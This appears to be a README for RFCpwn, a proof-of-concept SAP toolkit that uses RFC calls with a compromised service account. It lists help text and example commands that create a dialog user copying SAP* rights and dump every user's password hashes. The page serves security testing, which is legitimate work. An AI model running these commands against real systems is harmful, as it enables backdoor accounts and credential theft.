RFCpwn - An Enumeration And Exploitation Toolkit Using RFC Calls To SAP

An SAP enumeration and exploitation toolkit using SAP RFC calls
This is a toolkit for demonstrating the impact of compromised service accounts.
This PoC is not for use in production environments, no guarantee of stability or support.

RFCpwn relies on the pyrfc and the libraries provided by SAP in: https://github.com/SAP/PyRFC#installation
usage: RFCpwn.py [-h] [-debug] [-ip IP] [-u Username] [-p Password]
[-c Client] [-s Sysid] [-ping] [-enum] [-usercopy]
[-user USER] [-copy COPY] [-pw PW] [-dump] [-exp]

An Impacket style enumeration and exploitation tool using SAP RFC calls

optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON

-ip IP <targetName or address>
-u Username RFC Users Username
-p Password RFC Users Password
-c Client Client- eg.000
-s Sysid System Number- eg 00
-ping RFC Ping Command

User Abuse:
-enum Use to enumerate a specific user
-usercopy add a Dialog User
-user USER Required for -usercopy and -userenum to specify the user
-copy COPY User to be copied required for -usercopy
-pw PW password of new user for -usercopy

Hash Collection:
-dump Dump hashes use with below

Ping - confirm connectivity
./RFCpwn.py -ip -s 00 -c 000 -u RFCUser -p RFCPass -ping
Copy a users rights into a new dialog user. If -copy is not specified SAP* is used.
./RFCpwn.py -ip -s 00 -c 000 -u RFCUser -p RFCPass -usercopy -user attacker -pw changeme1
Dump hashes from all users. option -exp for experimental bcode & passcode hashes.
./RFCpwn.py -ip -s 00 -c 000 -u RFCUser -p RFCPass -dump 


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